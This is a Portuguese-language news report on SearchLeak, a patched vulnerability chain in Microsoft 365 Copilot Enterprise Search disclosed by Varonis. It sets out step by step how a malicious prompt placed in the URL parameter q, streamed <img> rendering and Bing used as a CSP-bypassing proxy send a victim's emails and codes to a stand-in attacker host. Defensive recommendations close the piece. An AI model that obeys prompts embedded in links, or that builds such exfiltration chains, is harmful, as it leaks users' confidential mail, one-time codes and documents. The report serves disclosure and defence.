Pesquisadores de segurança da Varonis Threat Labs revelaram uma vulnerabilidade crítica — batizada de SearchLeak (CVE-2026-42824) — que transformava o Microsoft 365 Copilot Enterprise Search em uma arma silenciosa de roubo de dados. Com um único clique em um link malicioso, um atacante podia acessar e exfilar e-mails, códigos de segurança, eventos de calendário e documentos confidenciais de uma vítima corporativa.
A Microsoft já corrigiu a falha no início de junho de 2026, antes da divulgação pública. Nenhuma ação de administrador ou atualização de cliente é necessária.
Uma corrente de três elos
O SearchLeak não é uma vulnerabilidade única — é uma cadeia sofisticada que combina três fraquezas. Nenhuma delas, sozinha, permitiria o ataque completo. Juntas, porém, viram uma bomba.
1. Injeção Parâmetro-para-Prompt (P2P)
O parâmetro q da URL do Copilot Enterprise Search é enviado diretamente ao motor de IA como um prompt executável. Diferente do Copilot convencional (que gera conteúdo), o Enterprise Search varre e-mails, reuniões, arquivos do SharePoint e OneDrive da organização.
Um atacante pode criar uma URL com instruções embutidas:
https://m365.cloud.microsoft/search/?q=<PROMPT_MALICIOSO>
O Copilot interpreta essas instruções como legítimas e executa a busca nos dados indexados da vítima — sem que ela digite nada. Basta clicar.
2. Condição de Corrida no Streaming HTML
Quando o Copilot transmite sua resposta, o HTML bruto (incluindo tags <img>) é temporariamente renderizado no navegador antes da sanitização. A Microsoft tenta envolver código perigoso em blocos <code>, mas esse processo só acontece depois que o streaming termina. Nessa janela de milissegundos, o navegador já disparou a requisição maliciosa.
Como explicam os pesquisadores: “Quando o sanitizador entra em ação, o estrago já está feito.”
3. Bypass de CSP via Bing (SSRF)
A política de segurança de conteúdo (CSP) do domínio m365.cloud.microsoft bloqueia imagens de domínios controlados por atacantes — mas *.bing.com está na lista de permissões. O recurso “Pesquisar por Imagem” do Bing aceita um parâmetro imgurl e faz uma requisição server-side a partir da infraestrutura do Bing.
Isso transforma o Bing em um proxy involuntário de exfiltração — um clássico Server-Side Request Forgery (SSRF) escondido atrás de uma entrada legítima na CSP.
Como o ataque funciona na prática
O prompt injetado instrui o Copilot a:
- Buscar e-mails recebidos pela vítima
- Extrair o título e substituir espaços por underscores
- Embutir esse título em uma URL de imagem apontando para o Bing
- O Bing, por sua vez, busca a imagem em um domínio controlado pelo atacante
O fluxo completo leva menos de um segundo:
- A vítima clica no link (enviado por e-mail, Teams, etc.)
- O Copilot processa o prompt, busca os dados e gera uma resposta com tag
<img> - O navegador renderiza a tag durante o streaming e dispara uma requisição ao Bing
- O Bing busca
atacante.com/DADOS_ROUBADOS/img.png - O atacante registra o caminho da requisição e extrai os dados
“A vítima pode ver o Copilot ‘pensando’ por um instante. A resposta pode parecer estranha, mas a essa altura os dados já foram embora.”
Impacto e dados em risco
O Copilot opera com as permissões completas de grafo da vítima — ou seja, herda acesso a todos os dados organizacionais indexados. Os tipos de informação que podiam ser exfiltrados incluem:
- Códigos de segurança e OTPs: senhas temporárias e links de redefinição de senha
- Códigos 2FA/MFA: permitindo ativar autenticação multifator para outros serviços
- E-mails confidenciais: comunicações internas, dados financeiros, planos de aquisição
- Eventos de calendário: participantes, pautas, notas de reuniões
- Documentos corporativos: relatórios financeiros, dados salariais, planos estratégicos
Recomendações para times de segurança
Embora a Microsoft já tenha corrigido a vulnerabilidade, a Varonis recomenda:
- Monitorar URLs suspeitas do Copilot: buscar payloads codificados no parâmetro
qcontendo tags HTML ou instruções de exfiltração - Revisar allowlists de CSP: qualquer domínio permitido que faça fetches server-side com URLs fornecidas pelo usuário é um canal potencial de ataque
- Tratar output de streaming de IA como não confiável: a sanitização precisa acontecer no momento da renderização, não no pós-processamento
O SearchLeak segue a descoberta anterior da Varonis, o Reprompt — outra vulnerabilidade crítica em assistentes de IA. Juntas, essas falhas mostram como a IA cria novos caminhos de ataque que se apoiam em fraquezas antigas, permanecendo extremamente difíceis de detectar por times de segurança tradicionais.
